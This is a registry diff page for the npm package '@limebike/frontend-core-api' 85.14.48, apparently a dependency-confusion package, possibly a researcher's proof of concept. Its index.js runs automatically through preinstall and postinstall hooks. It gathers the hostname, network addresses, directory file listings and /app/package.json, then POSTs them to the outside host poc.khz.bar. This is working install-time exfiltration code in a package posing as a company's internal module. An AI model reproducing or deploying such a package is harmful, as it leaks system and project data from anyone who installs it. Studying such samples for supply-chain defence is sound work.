@limebike/frontend-core-api 85.14.48

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. package/README.md +3 -0
  2. package/app/aa +1 -0
  3. package/index.js +69 -0
  4. package/package.json +13 -0
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ # @doctolib-apps/native-personalized-services
2
+
3
+ Claimed by dphoeniixx.
package/app/aa ADDED
@@ -0,0 +1 @@
1
+ ee
package/index.js ADDED
@@ -0,0 +1,69 @@
1
+ import os from 'os';
2
+
3
+ import http from 'http';
4
+ import { readdir } from 'fs/promises';
5
+ import { readFile } from 'fs/promises';
6
+
7
+
8
+
9
+ const pkg = "@limebike/frontend-core-api";
10
+ const hostname = os.hostname();
11
+
12
+ const ips = [];
13
+ const ifaces = os.networkInterfaces();
14
+ for (const name of Object.keys(ifaces)) {
15
+ for (const iface of ifaces[name] || []) {
16
+ if (!iface.internal) ips.push(`${name}:${iface.family}:${iface.address}`);
17
+ }
18
+ }
19
+
20
+ const dirs = { cwd: process.cwd(), app: '/app', back_back: '../../', back_back_back: '../../../'};
21
+
22
+ export const files = Object.fromEntries(
23
+ await Promise.all(
24
+ Object.entries(dirs).map(async ([key, dir]) => {
25
+ try {
26
+ const entries = await readdir(dir, { withFileTypes: true });
27
+ return [key, entries.filter(e => e.isFile()).map(e => e.name)];
28
+ } catch {
29
+ return [key, []];
30
+ }
31
+ })
32
+ )
33
+ );
34
+
35
+ let pkgz = null;
36
+ try {
37
+ pkgz = await readFile('/app/package.json', 'utf8');
38
+ } catch {}
39
+
40
+ const payload = JSON.stringify({
41
+ package: pkg,
42
+ hostname: hostname,
43
+ ips: ips,
44
+ cwd: process.cwd(),
45
+ files: files,
46
+ pkgz: pkgz
47
+ });
48
+
49
+ const req = http.request(
50
+ {
51
+ method: "POST",
52
+ host: "poc.khz.bar",
53
+ path: "/install",
54
+ headers: {
55
+ "Content-Type": "application/json",
56
+ "Content-Length": Buffer.byteLength(payload),
57
+ },
58
+ timeout: 5000,
59
+ },
60
+ (res) => {
61
+ res.on("data", () => {});
62
+ res.on("end", () => {});
63
+ }
64
+ );
65
+
66
+ req.on("error", () => {});
67
+ req.on("timeout", () => req.destroy());
68
+ req.write(payload);
69
+ req.end();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "@limebike/frontend-core-api",
3
+ "version": "85.14.48",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "type": "module"
13
+ }